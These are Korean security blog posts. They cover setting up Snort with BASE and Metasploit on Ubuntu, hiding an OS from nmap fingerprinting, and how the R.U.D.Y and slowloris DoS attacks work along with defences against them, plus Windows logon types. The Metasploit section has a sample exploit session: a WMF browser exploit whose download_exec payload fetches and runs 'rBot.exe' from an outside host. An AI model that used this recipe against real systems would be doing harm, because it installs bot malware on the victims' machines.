1. 컴파일러 설치

apt-get install gcc
apt-get install g++
apt-get install make
apt-get install m4
apt-get install flex
apt-get install bison
apt-get install libc6-dev

 

2. libpcap 설치

wget www.tcpdump.org/release/libpcap-1.1.1.tar.gz
root@ubuntu:~/down# cd libpcap-1.1.1
root@ubuntu:~/down# ./configure
root@ubuntu:~/down# make && make install

 

3. pcre 설치

wget ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.30.tar.gz
root@ubuntu:~/down/pcre-8.10# ./configure
root@ubuntu:~/down/pcre-8.10# make && make install

 

4. mysql 설정 (mysql 설치 방법은 http://blog.naver.com/leopit/140154575158 참조)

mysql> CREATE DATABASE snort;
mysql> grant CREATE, INSERT, SELECT, UPDATE on snort.* to snort@localhost;
mysql> grant CREATE, INSERT, SELECT, UPDATE on snort.* to snort;
mysql> SET PASSWORD FOR snort@localhost=PASSWORD('snort-db');
mysql> flush privileges;

mysql> show grants for snort@localhost;

+--------------------------------------------------------------------------------------------------+
| Grants for snort@localhost |
+--------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'snort'@'localhost' IDENTIFIED BY PASSWORD '*41D58FEF5E7399DB002ACCB899DDB70B7395E774' | 
| GRANT SELECT, INSERT, UPDATE, CREATE ON `snort`.* TO 'snort'@'localhost' |
+--------------------------------------------------------------------------------------------------+

5. snort-mysql 설치

apt-get install snort-mysql 

 

6. snort 환경설정 파일 수정
vi /etc/snort/database.conf
 

#output database: log, mysql,

output database: alert, mysql, user=snort password=snort-db dbname=snort host=localhost

 

7. Snort DB 테이블 생성

cd /usr/share/doc/snort-mysql/
zcat create_mysql.gz | mysql -u snort -D snort -psnort-db
rm /etc/snort/db-pending-config

 

8. 로그파일 권한 수정

ls -al /var/log/snort/alert
chown snort /var/log/snort/alert
chmod 666 /var/log/snort/alert

 

9. 데몬 재시작

/etc/init.d/snort start

 

10. BASE 다운로드 및 설치

downloads.sourceforge.net에서 adodb 다운로드

cp -r /root/down/adodb5 /var/www/adodb/

 

base.secureideas.net 에서 base 다운로드

cp -r /root/down/base-1.4.5 /var/www/base

 

브라우저에서 http://localhost/base/setup/index.php 접근 (설치페이지)

adodb 경로 : /var/www/adodb 입력

각종 접근 정보 입력

 

base_conf.php 생성

 

http://localhost/base/base_main.php 접근후 최종 확인

 

11. Metasploit 설치

$ sudo apt-get install subversion ruby rubygems libopenssl-ruby 
$ svn co https://www.metasploit.com/svn/framework3/trunk/
$ mv trunk metasploit

 

테스트예)
msf > use windows/browser/ms06_001_wmf_setabortproc

msf > set payload windows/download_exec

msf > set URL http://20.30.40.234/rBot.exe

msf > set SRVHOST 20.30.40.222

msf > set LHOST 20.30.40.222

msf > set URIPATH attack.html

msf > exploit

'Security' 카테고리의 다른 글

사용자 인증  (0) 2017.01.08
FTP Active/Passive 정리  (0) 2017.01.06
포트 스캐닝으로부터 OS 정보 숨기기  (0) 2017.01.06
R.U.D.Y DDoS  (0) 2017.01.05
slowloris 분석/대응방안  (0) 2017.01.05

nmap은 열린 포트를 확인하여 보안 점검을 위한 대표적인 툴이면서
원치 않는 서버를 대상으로 포트 스캐닝과 시스템의 OS 종류와 버전을 알아내는데 사용되기도 한다.
최근에 나온 nmap 3.45버전은 오픈된 서비스의 버전 정보까지도 확인시켜준다.

-------------------------------------------------------------- 
# nmap -A -T4 -F localhost

Starting nmap 3.45 ( http://www.insecure.org/nmap/ ) at 2003-09-16 22:45 KST
Interesting ports on truefeel (127.0.0.1):
(The 1203 ports scanned but not shown below are in state: closed)
PORT   STATE SERVICE  VERSION
21/tcp  open ftp    vsFTPd 1.2.0
25/tcp  open smtp    Sendmail smtpd Securing..214-2.0.0 This is sendmail version 8.12.
80/tcp  open http    Apache httpd 2.0.44 ((Unix) DAV/2 PHP/4.3.2)
... 중략 ...
Running: Linux 2.4.X|2.5.X
OS details: Linux Kernel 2.4.0 - 2.5.20, Linux kernel 2.4.20
Uptime 0.505 days (since Tue Sep 16 10:38:25 2003)

Nmap run completed -- 1 IP address (1 host up) scanned in 16.859 seconds
-------------------------------------------------------------- 

위에서 보는 것처럼 nmap의 뛰어난 기능으로 어느 OS를 사용하는지 쉽게 알 수 있다.

이러한 nmap의 OS를 알아내는 기능은 7단계(T1~T7)를 거치게 된다.
T1 단계에서 열린 포트로 SYN 패킷을 보내고, T2에서 열린 포트로 null 패킷 전송,
T3에서 열린 포트로 SYN, FIN, URG, PSH 패킷을 전송
T5 부터는 닫혀진 포트로 비슷한 과정을 거치게 된다.

자~ 이제 nmap OS fingerprinting을 막는 방법을 알아보자.

1. iplog 툴

iplog는 포트 스캐닝으 로깅하는 툴이다. TCP 포트, UDP 포트 스캐닝, TCP null 스캔, FIN 스캔,
smurf 공격, Xmas 스캔, ping 플러딩, IP fragment 공격 등을 감지할 수 있다.
procmisc 모드를 지원하여 같은 서브넷으로 들어오는 스캐닝을 감지할 수 있다.
또한 OS 정보를 숨기기한 목적으로도 사용할 수 있다.

1) 설치

http://ojnk.sourceforge.net/ 에서 iplog-2.2.3.tar.gz 을 받아온다.

-------------------------------------------------------------- 
# tar xvfz iplog-2.2.3.tar.gz
# cd iplog-2.2.3
# ./configure
# make
# make install
# cp example-iplog.conf /etc/iplog.conf
--------------------------------------------------------------

iplog.conf에서 다음 2가지를 수정한다.

-------------------------------------------------------------- 
user nobody          # default는 iplog 사용자로 실행함
pid-file /var/run/iplog.pid  # default는 /var/run/iplog/iplog.pid 임
-------------------------------------------------------------- 

소스 설치가 귀찮은 분 중
레드햇 사용자는 http://www.rpmfind.net/ 에서 iplog-2.2.3-fr2.i386.rpm 받아 설치한다.

FreeBSD 사용자는 포트 시스템을 이용해서 설치한다.
실행 파일은 /usr/local/sbin에, 설정파일은 /usr/local/etc에 설치된다.

-------------------------------------------------------------- 
# cd /usr/ports/net/iplog/
# make install
# make clean
-------------------------------------------------------------- 

'포트시스템이 뭐에요?' 하는 분은 최준호님이 쓴 글을 참고하기 바란다.
http://www.bsdnet.co.kr/articles/article.qsp?no=14

2) 실행

-------------------------------------------------------------- 
# iplog -o -z -i lo (테스트를 위해 lo interface를 지정함)
-------------------------------------------------------------- 

-o 등의 옵션의 의미는 nmap 테스트 후에 알아본다.

-------------------------------------------------------------- 
# nmap -sS -O localhost

Starting nmap 3.45 ( http://www.insecure.org/nmap/ ) at 2003-10-29 23:37 KST
Insufficient responses for TCP sequencing (2), OS detection may be less accurate
Insufficient responses for TCP sequencing (3), OS detection may be less accurate
Interesting ports on truefeel (127.0.0.1):
(The 1651 ports scanned but not shown below are in state: closed)
PORT   STATE SERVICE
25/tcp  open smtp
80/tcp  open http
... 중략 ...
No exact OS matches for host (If you know what OS is running on it, see
http://www.insecure.org/cgi-bin/nmap-submit.cgi).
TCP/IP fingerprint:
SInfo(V=3.45%P=i686-pc-linux-gnu%D=10/29%Time=3F9FD0B9%O=25%C=1)
T1(Resp=Y%DF=Y%W=7FFF%ACK=S++%Flags=AS%Ops=MNNTNW)
T2(Resp=Y%DF=Y%W=100%ACK=O%Flags=BAPRSF%Ops=)
T2(Resp=Y%DF=N%W=0%ACK=O%Flags=BARS%Ops=)
T2(Resp=Y%DF=Y%W=100%ACK=O%Flags=BPRF%Ops=)
T3(Resp=Y%DF=Y%W=7FFF%ACK=S++%Flags=AS%Ops=MNNTNW)
T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
PU(Resp=N)


Uptime 0.303 days (since Wed Oct 29 16:21:04 2003)

Nmap run completed -- 1 IP address (1 host up) scanned in 21.301 seconds
-------------------------------------------------------------- 

nmap은 T1~T7까지 OS 탐지 테스트 과정을 거쳤지만 OS 종류는 알아내지 못했음을 확인했다.
그럼 도대체 스캐닝 로그는 어디에 있는건가? /etc/iplog.conf 설정에 따라 /var/log/iplog에 저장된다.

-------------------------------------------------------------- 
... 생략 ...
Oct 29 23:37:09 ICMP: echo from truefeel (127.0.0.1) (8 bytes)
Oct 29 23:37:09 TCP: port 5901 connection attempt from truefeel (127.0.0.1):49574
Oct 29 23:37:09 TCP: port 516 connection attempt from truefeel (127.0.0.1):49574
Oct 29 23:37:09 TCP: port 657 connection attempt from truefeel (127.0.0.1):49574
Oct 29 23:37:09 TCP: port 32 connection attempt from truefeel (127.0.0.1):49574
Oct 29 23:37:09 TCP: port 2044 connection attempt from truefeel (127.0.0.1):49574
Oct 29 23:37:09 TCP: port 737 connection attempt from truefeel (127.0.0.1):49574
Oct 29 23:37:09 TCP: pop2 connection attempt from truefeel (127.0.0.1):49574
Oct 29 23:37:09 TCP: port 872 connection attempt from truefeel (127.0.0.1):49574
Oct 29 23:37:09 TCP: port 670 connection attempt from truefeel (127.0.0.1):49574
Oct 29 23:37:09 TCP: SYN scan detected [ports 5901,516,657,32,2044,737,109,872,670,374,...] from
truefeel (127.0.0.1) [port 49574]
Oct 29 23:37:12 TCP: Bogus TCP flags set by truefeel (127.0.0.1):49581 (dest port 25)
Oct 29 23:37:14 TCP: ipp connection attempt from truefeel (127.0.0.1):40509
... 생략 ...
-------------------------------------------------------------- 

3) 옵션과 설정은?

-o : 백그라운드로 실행하지 않는다. (기본 백그라운드)
-z : 이게 바로 핵심이다. nmap로 OS 정보 알아내는 것을 막는다.
-L : log를 화면으로 출력한다.
-i : interface를 지정한다. (기본 eth0)
-u : iplog 실행 사용자 또는 UID를 지정한다. (기본 nobody)
-g : iplog 실행 그룹명 또는 GID를 지정한다. (기본 nobody)
-l : 로그파일을 지정한다. (기본 /var/log/iplog)
-a : promisc 모드로 전환하여 지정한 네트워크 내의 스캐닝을 로깅한다. (예. -a 192.168.123.0/24)
-k : iplog 프로세스를 kill한다. 백그라운드, 포그라운드 실행중인 것과 상관없이 kill.
-R : iplog를 재실행한다.

이 많은 옵션을 어떻게 사용하면 좋을까?

화면으로 모니터링한다면

# iplog -o -z -L

파일로 로깅을 한다면 (부팅시 실행되도록 하려면 /etc/rc.d/rc.local 등에 추가)

# iplog -z

/etc/iplog.conf 설정 파일에서는 옵션으로 사용할 것을 미리 지정해 둘 수 있다.
실행 사용자, interface, 감지에서 제외할 포트 등

2. iptables 이용하는 방법

iptables를 이용하는 방법이 있으나 커널 패치+iptables 패치를 해야하는 과정이 필요하며
커널 2.4.19 이후의 버전에 대해서는 더이상의 발표도 있지 않아 간단하게 설명한다.

http://ippersonality.sourceforge.net/ 에서 ippersonality-20020819-2.4.19.tar.gz 를
받아 커널과 iptables 각각 패치를 한 후 컴파일을 한다.

ippersonality-20020819-2.4.19/samples 디렉토리에는 OS를 속이기 위한 총 10개의 파일이 있다.
AmigaOS, Dreamcast, FreeBSD, Linux 2.0x, Linux 2.2, MacOS 9, Solaris 8, Tru64 UNIX,
Win Me 또는 Win 2000, Win 9x 이렇게 10개.

Windows를 사용하는 것 처럼 속이려면 어떻게 해야 하는가?

패치된 iptables를 이용해서

-------------------------------------------------------------- 
# insmod ipt_PERS (모듈을 로딩, 커널 컴파일시에 CONFIG_IP_NF_PERS=m로 했을 때)
# /usr/local/sbin/iptables -t mangle -A PREROUTING -s ! 서버IP -d 서버IP -j PERS --tweak dst --local --conf win2k.conf
# /usr/local/sbin/iptables -t mangle -A OUTPUT   -s 서버IP -d ! 서버IP -j PERS --tweak src --local --conf win2k.conf
-------------------------------------------------------------- 

3. 참고 자료

* A practical approach for defeating Nmap OS-Fingerprinting
 http://coffeenix.net/doc/security/nmap_os_fingerprinting.html
* IP Personality 프로젝트
 http://ippersonality.sourceforge.net/
* iplog
 http://ojnk.sourceforge.net/
* nmap 3.45의 새기능, 버전 스캐닝 (글 좋은진호)
 http://coffeenix.net/board_view.php?bd_code=71 

// coffeenix.net

'Security' 카테고리의 다른 글

FTP Active/Passive 정리  (0) 2017.01.06
ubuntu 환경에 SNORT & BASE & Metasploit 설치  (0) 2017.01.06
R.U.D.Y DDoS  (0) 2017.01.05
slowloris 분석/대응방안  (0) 2017.01.05
윈도우 로그온 유형  (0) 2016.12.29


R.U.D.Y DDoS


RUDY(R-U-DEAD-YET) 는 Post 메소드를 전송하여 서비스를 거부시기키는 DDoS 공격이다.
Content-Length를 매우 크게 설정하여 서버의 지연을 유발한다.

서버는 클라이언트의 HTTP Header에 Content-Length를 보고 그 길이만큼의 Content가 올 때까지 대기하고 있다. 이 점을 이용하여 초기에 길이를 크게 설정해놓고, Content는 일정한 간격으로 1byte씩 전송한다. 결국, 서버는 한 세션당 [Content-Length * Interval Seconds] 만큼의 지연시간이 발생한다.


아래는 실제 공격 패킷이다. Content-Length 가 매우 길게 설정되어 있고 연속된 A 문자를 찍고 있다.
이를 일정한 간격으로 1byte씩 보낸다고 생각해보자
서버는 표기된 전체 byte를 수신할때까지 계속 대기하게 된다.


:: 대응 방안

현재까지 알려진 차단 방법은 크게 두가지다.

- Content-Length 임계치를 두어 차단
- User-Agent 기준으로 차단 (특이값이 있을 경우)

'Security' 카테고리의 다른 글

FTP Active/Passive 정리  (0) 2017.01.06
ubuntu 환경에 SNORT & BASE & Metasploit 설치  (0) 2017.01.06
포트 스캐닝으로부터 OS 정보 숨기기  (0) 2017.01.06
slowloris 분석/대응방안  (0) 2017.01.05
윈도우 로그온 유형  (0) 2016.12.29

SlowLoris

GET 방식의 메소드는 헤더의 데이터 구분을 CRLF을 이용한다. 0D 0A 가 두번 들어가면 헤더의 끝을 나타내는데..
의도적으로 한번만 넣어서 헤더의 끝을 맺지 않음으로 서버는 헤더가 끝날때까지 지속적으로 기다리게 만든다.
익히 알려진 slowloris 공격 툴은 헤더에 X-a: b 를 전송하고 Content-Length가 42byte 라는 특징이 있다.

:: 공격에 취약한 서버
- Apache 1.x, 2.x, squid

:: 공격에 취약하지 않은 서버
- lighttpd, IIS6.0, IIS7.0, nginx, varnishd, J5K.

공격툴로 테스트를 해보면 아래와 같이 펜더가 나온다.


공격 진행중 패킷을 보면 CRLF(0d 0a) 를 한번만 보내 헤더의 끝을 맺지 않음을 알 수 있다.

slowloris의 특징인 Content_Length: 42 와 X-a: b 도 보인다.

이와 같이 공격을 수행하면 "X-a: b\r\n"의 불완전 헤더를 지속적으로 보내어 SYN->SYNACK를 반복하고 서버 측에서 FIN 패킷을 보내지 않아 계속 패킷을 기다리는 상태가 되어 결국 서비스 거부상태가 된다. 

apache의 경우 실제 공격시에는 로그가 남지 않으며 공격을 멈추면 아래와 같이 로그가 남는다.

# error_log

[error] server reached MaxClients setting, consider raising the MaxClients setting
failed: error reading the headers
failed: error reading the headers
failed: error reading the headers
failed: error reading the headers

# access_log

"GET / HTTP/1.1" 400 308
"GET / HTTP/1.1" 400 308
"GET / HTTP/1.1" 400 308
"GET / HTTP/1.1" 400 308 


:: 대응방안

-.  Timeout 설정 변경(가장 현실적인 방법)
     httpd.conf 에서  Timeout 300  ==> 5 이하로 변경 (5초동안 연속된 패킷이 오지 않을 경우 timeout시킴)

-. iptables의 connection limit(커넥션 제한) 설정
   # iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j DROP




'Security' 카테고리의 다른 글

FTP Active/Passive 정리  (0) 2017.01.06
ubuntu 환경에 SNORT & BASE & Metasploit 설치  (0) 2017.01.06
포트 스캐닝으로부터 OS 정보 숨기기  (0) 2017.01.06
R.U.D.Y DDoS  (0) 2017.01.05
윈도우 로그온 유형  (0) 2016.12.29



윈도우 로그온 유형



로그온 유형 2 (Logon Type 2) : 대화식

 

콘솔에서 키보드로 로그인 (LogMeIn, TeamView, KVM 포함)

 

로그온 유형 3 (Logon Type 3) : 네트워크

 

네트워크를 통한 원격 로그인. (파일 공유, IIS 접속 등)

 

로그온 유형 4 (Logon Type 4) : 자동실행(스케줄)

 

스케줄에 등록된 배치 작업 실행시 미리 설정된 계정 정보로 로그인

 

로그온 유형 5 (Logon Type 5) : 서비스

 

서비스가 실행될때 미리 설정된 계정 정보로 로그인

 

로그온 유형 7 (Logon Type 7) : 잠금해제

 

화면보호기 잠금 해제시

 

로그온 유형 8 (Logon Type 8) : 네트워크 (평문암호)

 

유형 3과 비슷하지만 계정 정보를 평문으로 전송시 발생 (ASP 기본 암호설정)

 

로그온 유형 9 (Logon Type 9) : 새 자격

 

실행(RunAs)에서 프로그램 실행시 /netonly 옵션을 줄때

 

로그온 유형 10 (Logon Type 10) : 원격 대화식

 

터미널 서비스, 원격 접속, 원격지원으로 로그인

 

로그온 유형 11 (Logon Type 11) : 캐쉬된 대화식

'Security' 카테고리의 다른 글

FTP Active/Passive 정리  (0) 2017.01.06
ubuntu 환경에 SNORT & BASE & Metasploit 설치  (0) 2017.01.06
포트 스캐닝으로부터 OS 정보 숨기기  (0) 2017.01.06
R.U.D.Y DDoS  (0) 2017.01.05
slowloris 분석/대응방안  (0) 2017.01.05

+ Recent posts